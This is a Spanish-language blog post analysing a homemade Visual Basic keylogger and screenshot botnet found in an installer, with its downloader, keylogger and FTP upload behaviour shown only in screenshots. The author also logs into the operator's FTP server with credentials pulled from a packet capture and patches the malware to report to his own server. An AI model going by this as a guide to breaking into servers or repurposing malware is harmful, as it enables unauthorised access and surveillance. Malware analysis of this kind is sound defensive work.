<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span><span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">En ese momento supe que debería de dejar al futbol de lado y
tirar del hilo… así que como no disponía de mi <b>Cuckoo Sandbox</b> hasta más tarde, podría ayudarme de <i>Malwr.com</i>. Entre las cosas que más
llamaron mi atención al subir el instalador, fueron lógicamente las conexiones.</span></span><span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaugZ6Wbtm40WU2G1pvef7lzqRahbwfbol_JLBsEaq6b7Otstf_txSlpJyo_5rVebmUDUW4Vv0F9JAVBzBZgg7eRbraKj_rpwLIm6GF32nRfoo2vIwhqOVmlrkvqElpzs1M3lYNGYBDRO-/s399/1-ip.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaugZ6Wbtm40WU2G1pvef7lzqRahbwfbol_JLBsEaq6b7Otstf_txSlpJyo_5rVebmUDUW4Vv0F9JAVBzBZgg7eRbraKj_rpwLIm6GF32nRfoo2vIwhqOVmlrkvqElpzs1M3lYNGYBDRO-/s399/1-ip.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Inevitablemente fui al navegador y tecleé la URL que
aparecía de vuelta del Cuckoo. Para mi grata sorpresa, sin control de acceso ni ostias.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga5_l9qIN7ShTCsh47vWoXfsTkXBiOMv5-QLdkWpGpDNzc1yPCP0yJmbtCIdU7KTW4tYWFRsNQf9InJFIrdLf4Ngf9YkZsO2SMApE_2T_SCCaIg6IxRP08oTYhBmv73YpIIwPaD12HrMqT/s368/2-launcher.site50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga5_l9qIN7ShTCsh47vWoXfsTkXBiOMv5-QLdkWpGpDNzc1yPCP0yJmbtCIdU7KTW4tYWFRsNQf9InJFIrdLf4Ngf9YkZsO2SMApE_2T_SCCaIg6IxRP08oTYhBmv73YpIIwPaD12HrMqT/s368/2-launcher.site50.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Lo más gracioso es cuando vi el nombre de mi máquina en una
de sus carpetas y una imagen de mi escritorio subida en su interior. Para más
inri, soy el típico capullo que tiene una foto carnet en el escritorio jajajaj</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Pensé en buscar la URL en Google, para encontrar algún tipo
de pista que me diese algo más de información. Por suerte un scanner en <a href="https://www.virustotal.com/es/file/f785f96f61cc41ea2ba1fd5a01e97d0be9a099278cca2d1da5e29c8350a57580/analysis/">Virustotal</a>
mostraba que un malware de nombre <b>Project1.exe</b>,
compilado en <b>Visual Basic 6</b>
conectaba con ese mismo dominio. En este caso, el malware era totalmente diferente
al que tenía en mi poder además, de que se utilizaba para realizar denegaciones
de servicio con una consola abierta en segundo plano sobre las víctimas, en
este caso el <i>tarjet</i> era sobre el sitio
de seguridad informática colombiano <a href="http://www.buggly.com.co/">www.buggly.com.co</a>.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39cq3jt0HL0BNQ8q6KgHdvZydgTY91HN9mFgo1bBjYXvB4on2ZnJiZwFcHhbskbn1QsDahPB-AnO0a2qLx9qAhdbrM3HYEeMlmQ2hNdjRjtuWiujqXowSl7ThvjU0FWrs2BcocKRerCSL/s439/3-buggly.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39cq3jt0HL0BNQ8q6KgHdvZydgTY91HN9mFgo1bBjYXvB4on2ZnJiZwFcHhbskbn1QsDahPB-AnO0a2qLx9qAhdbrM3HYEeMlmQ2hNdjRjtuWiujqXowSl7ThvjU0FWrs2BcocKRerCSL/s439/3-buggly.png" width="400" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><i>¿Qué hacemos aparte de
matar los procesos?</i> Pues bien, <b>Cuckoo</b>
provee al auditor de la opción de realizar volcados de memoria, además de la
posibilidad de guardar la captura de red sobre un fichero <b>pcap</b>. Así que echándole un vistazo a todo lo que ocurría en la red
mientras el malware se ejecutaba, di con lo siguiente.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4st2pjpYmNRB5EwZOGqGDeCO2-8WSViFEFmKERtRlN2RMDEjYrMTRHhNtVuceTfYGP-pFyr0h3bR-3C5gVZd8KW6H9TFncMnNj12jx3icNSrJzsvXGuWiME0hxT9-roOnh8wOFwqCyv6-/s967/4-FTP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4st2pjpYmNRB5EwZOGqGDeCO2-8WSViFEFmKERtRlN2RMDEjYrMTRHhNtVuceTfYGP-pFyr0h3bR-3C5gVZd8KW6H9TFncMnNj12jx3icNSrJzsvXGuWiME0hxT9-roOnh8wOFwqCyv6-/s967/4-FTP.png" width="640" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><i>¡Menuda fiesta!</i> Por
otra parte, me llamó mucho la atención el comportamiento del malware. Pues la
gran mayoría de ejecutables eran descargados por FTP desde uno de los
ejecutables bindeados al instalador. Con lo que evitaban que el tamaño de la
aplicación no fuese lo suficientemente grande.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrEk4DtTtFl4O15mSdmT3tjF3ZxqSwgINBikGmMcWuoSdRlUTR04ICKH9cdOC4LF5TEa1JOM7eu-iFMbd59r25udRB5SMl8gTBjeK9huOOe8Ke62jtE7OAS8p9YuEmkXGyMkbZvvZE2yjP/s641/5-Files.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrEk4DtTtFl4O15mSdmT3tjF3ZxqSwgINBikGmMcWuoSdRlUTR04ICKH9cdOC4LF5TEa1JOM7eu-iFMbd59r25udRB5SMl8gTBjeK9huOOe8Ke62jtE7OAS8p9YuEmkXGyMkbZvvZE2yjP/s641/5-Files.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Con toda esta información en mis manos, tan solo me quedaría
eliminar mi captura de pantalla de su listado. Con lo que Filezilla y el
usuario del pcap me abrieron la puerta.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzftnDmm29ciVjX45LKUFXXYpZs5BCaWC-PTMOZ33CloVDt9JKYUPGP5iqYNkxY3m_Hoqa5X-97nY5tqTHEiosutu6x-SP0Q4tnnEVbrKGIOcD8sc3ETl2vw14KZ4MvKvzJXLWMxok5OL/s783/6-acceso.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzftnDmm29ciVjX45LKUFXXYpZs5BCaWC-PTMOZ33CloVDt9JKYUPGP5iqYNkxY3m_Hoqa5X-97nY5tqTHEiosutu6x-SP0Q4tnnEVbrKGIOcD8sc3ETl2vw14KZ4MvKvzJXLWMxok5OL/s783/6-acceso.png" width="640" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Otra de las cosas destacables, me la encontré al mirar que
tipo de acciones realizaba el malware sobre el FTP. Entre ellas se encontraban
a parte de la captura de pantalla, la de captura de teclas a modo Keylogger,
que desde la propia página no era posible la lectura del contenido de los
ficheros de texto por prohibición del servidor… pero al tener acceso vía FTP ;)</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Me hizo recordar a mi entrada sobre <a href="http://www.enelpc.com/2011/09/espionaje-cuerpos-sexys-y-datos-robados.html">Espionaje,
cuerpos sexys y datos robados</a>, pues el propio desarrollador de la botnet,
se encontraba infectado a sí mismo…</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">La siguiente imagen muestra como el tipo realiza un <b>Control+V</b>, para pegar la contraseña de
acceso sobre la aplicación <b>WinHTTrack
Website Copier</b>, así descargar el contenido a su equipo personal. Además de
tener el navegador de Firefox abierto para acceder desde el mismo.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPz4dylzAaEKnzAwmnmvWsqieTqVyvdSlcLsHV0D_LeyDpbnNNcnUrcuEl0stDvSNaAHtow_g_66SUEuwnsgiDOl9FdyGptJhwPCRvbYJdP5blj2tiFUG_2CyB62obFPwn92CljOsgyS6T/s1027/7-contrasena_log.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="76" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPz4dylzAaEKnzAwmnmvWsqieTqVyvdSlcLsHV0D_LeyDpbnNNcnUrcuEl0stDvSNaAHtow_g_66SUEuwnsgiDOl9FdyGptJhwPCRvbYJdP5blj2tiFUG_2CyB62obFPwn92CljOsgyS6T/s1027/7-contrasena_log.png" width="640" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Divirtiéndome estos días mientras veía las capturas de su
equipo en el FTP, seguí tirando del hilo para estudiar los ejecutables que
tenía en mi poder. Supuse que el origen de que todos ellos se tratasen de
Visual Basic 6, era debido a que utilizaría un <b>Crypter</b>, con lo que sería más tedioso ver de qué se trataban. <i>¡Pero no!</i> El tipo no cifró ni lo más
mínimo, y pude identificar de forma rápida, que realizaba cada uno de ellos. El
ejecutable <b>Java.exe</b>, se encargaba de
descargar el resto de ejecutables del FTP, ejecutarlos en el sistema y de matar
sus procesos desde la consola.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYZ0CS30F20DGENte57L-QU5pDy8iuaM2tA3AxJiPrNW2iGf0rwlLJz7ueuDDkYI-dqhlyg9qyt503wuiZwgCezH3uYPJ9ce-shT_xJ3_aLnVdvCLbIjDRAMEsy2DgIaA8aaXL6CQGktXv/s423/9-java.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYZ0CS30F20DGENte57L-QU5pDy8iuaM2tA3AxJiPrNW2iGf0rwlLJz7ueuDDkYI-dqhlyg9qyt503wuiZwgCezH3uYPJ9ce-shT_xJ3_aLnVdvCLbIjDRAMEsy2DgIaA8aaXL6CQGktXv/s423/9-java.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">El ejecutable de <b>Javax.exe</b>,
realizaba tareas muy similares, también realizando las ejecuciones del conjunto
de aplicaciones de la botnet, que se encontraban en la carpeta <b>java</b> en <b>AppData</b> del usuario.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUkjgdeAu5OGRNW3Bf6lJdWptc5GLpiAqVyemrmtT9yNJP1ysMO0-JDHjJrLziKrvw8MrxsOzS67B2ZgMDKywBWcFotfroTVkH5g5B2SLKUsMOIkUFBNfA6jYwDcLywE7s4wgtNBHO4N2m/s450/10-javax.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUkjgdeAu5OGRNW3Bf6lJdWptc5GLpiAqVyemrmtT9yNJP1ysMO0-JDHjJrLziKrvw8MrxsOzS67B2ZgMDKywBWcFotfroTVkH5g5B2SLKUsMOIkUFBNfA6jYwDcLywE7s4wgtNBHO4N2m/s450/10-javax.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"> El ejecutable de <b>Spoolsrv.exe</b>,
tenía tan solo la acción de captura de teclas y eventos para la funcionalidad
de <i>Keylogger</i>. La siguiente imagen
muestra las declaraciones de las Apis más comunes para estas capturas.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0MLu46UzzkzQ9_TDpUySeLmeaQbosdXNu_b0qrnrp7uYJ3TX83CoAtCkwOTyvKKyF7Y7J0-kGdFdKVcpJz2quxwlNaTfkYGn2tIrsKHoYi2Vh5HV-M_RM-3qDa-xZ1jQ_8u9wikQWtHqb/s573/11-getasynkey.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0MLu46UzzkzQ9_TDpUySeLmeaQbosdXNu_b0qrnrp7uYJ3TX83CoAtCkwOTyvKKyF7Y7J0-kGdFdKVcpJz2quxwlNaTfkYGn2tIrsKHoYi2Vh5HV-M_RM-3qDa-xZ1jQ_8u9wikQWtHqb/s573/11-getasynkey.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Por otro lado, aparecían en el mismo ejecutable todo el listado
de caracteres que era capaz de capturar y cuál era el archivo de texto
destinado al almacenamiento de los mismos.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqRxIzWSQbVgZkWwbVld09OKdpXN5jVVzKQRnTG1MC0QlXIeHjNA_mid6Gm7VLqXDqcStaMABWzk5xSXEwX7lIbOV1MA8hd103gi2pGbZS9bwz1TtKT5HEPIuqRTb6rPs6FwZWbal8k3jr/s445/12-kps.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqRxIzWSQbVgZkWwbVld09OKdpXN5jVVzKQRnTG1MC0QlXIeHjNA_mid6Gm7VLqXDqcStaMABWzk5xSXEwX7lIbOV1MA8hd103gi2pGbZS9bwz1TtKT5HEPIuqRTb6rPs6FwZWbal8k3jr/s445/12-kps.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Separada la acción de subida al FTP de las capturas de
teclas, se encontraba bajo el ejecutable <b>splsrtnet.exe</b>,
el cual era encargado de generar un nombre único a la captura basado en la
fecha y hora de subida.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlxuMdv80ZrKemicrPjyiONesBMn-aqE1jagPd6ALw9k0pA8aHXomD5YltYZM-xn8jukjlfGd0puPqqv4e9-xmBbv9LdGccGIUPgmmcqEmYfGEYSOLry2AKPbevOYw8tUxVKLraD02nXiM/s915/13-splsrtnet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="401" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlxuMdv80ZrKemicrPjyiONesBMn-aqE1jagPd6ALw9k0pA8aHXomD5YltYZM-xn8jukjlfGd0puPqqv4e9-xmBbv9LdGccGIUPgmmcqEmYfGEYSOLry2AKPbevOYw8tUxVKLraD02nXiM/s915/13-splsrtnet.png" width="640" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">El otro ejecutable llamado <b>Snaps.exe</b>, se encarga de generar las capturas de pantalla y de
subirlas al FTP.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf2C00c4jOT-5sTC_uN3sAdZ_EhIR4rNFkcBcQUGPPojPDJg87kViPax0YDd_L_8cZrujWPJ2IBkqt1w4Rp1W8kjM9iFPs8mY9kVvqQsZs96zMxOpA5ULVFN829NWQ3N9pNsKQwAJN9LYi/s423/14-snaps.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf2C00c4jOT-5sTC_uN3sAdZ_EhIR4rNFkcBcQUGPPojPDJg87kViPax0YDd_L_8cZrujWPJ2IBkqt1w4Rp1W8kjM9iFPs8mY9kVvqQsZs96zMxOpA5ULVFN829NWQ3N9pNsKQwAJN9LYi/s423/14-snaps.png" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Así que con toda esta información en plano, se me ocurrió la
idea de parchear los ejecutables y hacerme con la botnet para mi uso personal…
al menos para mostrarlos en futuros cursos…</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">La siguiente imagen muestra como el malware, se conecta y
sube una imagen de mi escritorio a mi FTP en <b>localhost</b> con usuario <b>admin</b>
y contraseña <b>admin</b>.</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIgjX1S9Q8PT1-ndZjmtrqxr8QuHaYXRn5p_zKY_-CfXgQ0nGCK6uPt_xv0B0jcyTHz3ZhnYbfZKZkcFGdk_swviBtWhTfExy2yPXTYxf-VhFVu2oXJt8yStfQrN6lllyPsv8veFMrvmcp/s950/15-MOD.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="418" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIgjX1S9Q8PT1-ndZjmtrqxr8QuHaYXRn5p_zKY_-CfXgQ0nGCK6uPt_xv0B0jcyTHz3ZhnYbfZKZkcFGdk_swviBtWhTfExy2yPXTYxf-VhFVu2oXJt8yStfQrN6lllyPsv8veFMrvmcp/s950/15-MOD.png" width="640" /></a></span></div>
<br />
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Por otro lado, si sois consumidores habituales de la revista Hakin9 Magazine, os dejo el enlace de este mes, en el cual he redactado el artículo </span></span><span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><b>Identification and Exploitation of the Most Common Vulnerabilities in Web Applications.</b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOxx4XuPhBhXIp86ziFuAzvTyV12gBi-xMsSDpniGLieBf_NlkWSR1oris8YbPjG00N3n8qlCsVoaziPIOWOVNkyFpDxTFijuVN-jJFQdkzegFVLyOTlryBeydKZhSh04jrbRZahI8TlVk/s682/Learn+How+To+Perform+Advanced+Web+Attacks+And+Exploitation+With+More+Than+70+Pag_2013-06-30_15-08-24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="279" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOxx4XuPhBhXIp86ziFuAzvTyV12gBi-xMsSDpniGLieBf_NlkWSR1oris8YbPjG00N3n8qlCsVoaziPIOWOVNkyFpDxTFijuVN-jJFQdkzegFVLyOTlryBeydKZhSh04jrbRZahI8TlVk/s682/Learn+How+To+Perform+Advanced+Web+Attacks+And+Exploitation+With+More+Than+70+Pag_2013-06-30_15-08-24.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><b> </b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<a href="http://hakin9.org/learn-how-to-perform-advanced-web-attacks-and-exploitation-with-more-than-70-pages-of-hakin9-tutorials/"><span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><b>http://hakin9.org/learn-how-to-perform-advanced-web-attacks-and-exploitation-with-more-than-70-pages-of-hakin9-tutorials/</b></span></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><b> </b> </span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Saludos 4n4les! ;)</span></span></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="false"
DefSemiHidden="false" DefQFormat="false" DefPriority="99"
LatentStyleCount="371">
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="true"
